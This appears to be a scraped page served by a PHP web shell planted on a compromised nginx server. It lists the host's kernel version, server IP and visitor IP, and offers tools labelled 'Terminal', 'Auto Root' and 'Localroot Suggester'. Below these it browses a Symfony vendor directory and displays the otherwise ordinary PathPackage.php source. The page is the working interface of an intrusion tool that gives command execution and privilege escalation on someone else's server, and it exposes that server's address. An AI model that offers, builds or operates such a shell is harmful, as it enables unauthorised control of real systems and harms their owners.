Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.17.176.160
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
asset /
Delete
Unzip
Name
Size
Permission
Date
Action
Context
[ DIR ]
drwxrwxr-x
2022-03-18 16:00
Exception
[ DIR ]
drwxrwxr-x
2022-03-18 16:00
VersionStrategy
[ DIR ]
drwxrwxr-x
2022-03-18 16:00
CHANGELOG.md
625
B
-rw-rw-r--
2022-03-18 16:00
LICENSE
1.04
KB
-rw-rw-r--
2022-03-18 16:00
Package.php
1.73
KB
-rw-rw-r--
2022-03-18 16:00
PackageInterface.php
672
B
-rw-rw-r--
2022-03-18 16:00
Packages.php
2.84
KB
-rw-rw-r--
2022-03-18 16:00
PathPackage.php
1.92
KB
-rw-rw-r--
2022-03-18 16:00
README.md
552
B
-rw-rw-r--
2022-03-18 16:00
UrlPackage.php
3.74
KB
-rw-rw-r--
2022-03-18 16:00
composer.json
1.11
KB
-rw-rw-r--
2022-03-18 16:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Asset; use Symfony\Component\Asset\Context\ContextInterface; use Symfony\Component\Asset\VersionStrategy\VersionStrategyInterface; /** * Package that adds a base path to asset URLs in addition to a version. * * In addition to the provided base path, this package also automatically * prepends the current request base path if a Context is available to * allow a website to be hosted easily under any given path under the Web * Server root directory. * * @author Fabien Potencier <fabien@symfony.com> */ class PathPackage extends Package { private $basePath; /** * @param string $basePath The base path to be prepended to relative paths */ public function __construct(string $basePath, VersionStrategyInterface $versionStrategy, ContextInterface $context = null) { parent::__construct($versionStrategy, $context); if (!$basePath) { $this->basePath = '/'; } else { if ('/' != $basePath[0]) { $basePath = '/'.$basePath; } $this->basePath = rtrim($basePath, '/').'/'; } } /** * {@inheritdoc} */ public function getUrl(string $path) { $versionedPath = parent::getUrl($path); // if absolute or begins with /, we're done if ($this->isAbsoluteUrl($versionedPath) || ($versionedPath && '/' === $versionedPath[0])) { return $versionedPath; } return $this->getBasePath().ltrim($versionedPath, '/'); } /** * Returns the base path. * * @return string */ public function getBasePath() { return $this->getContext()->getBasePath().$this->basePath; } }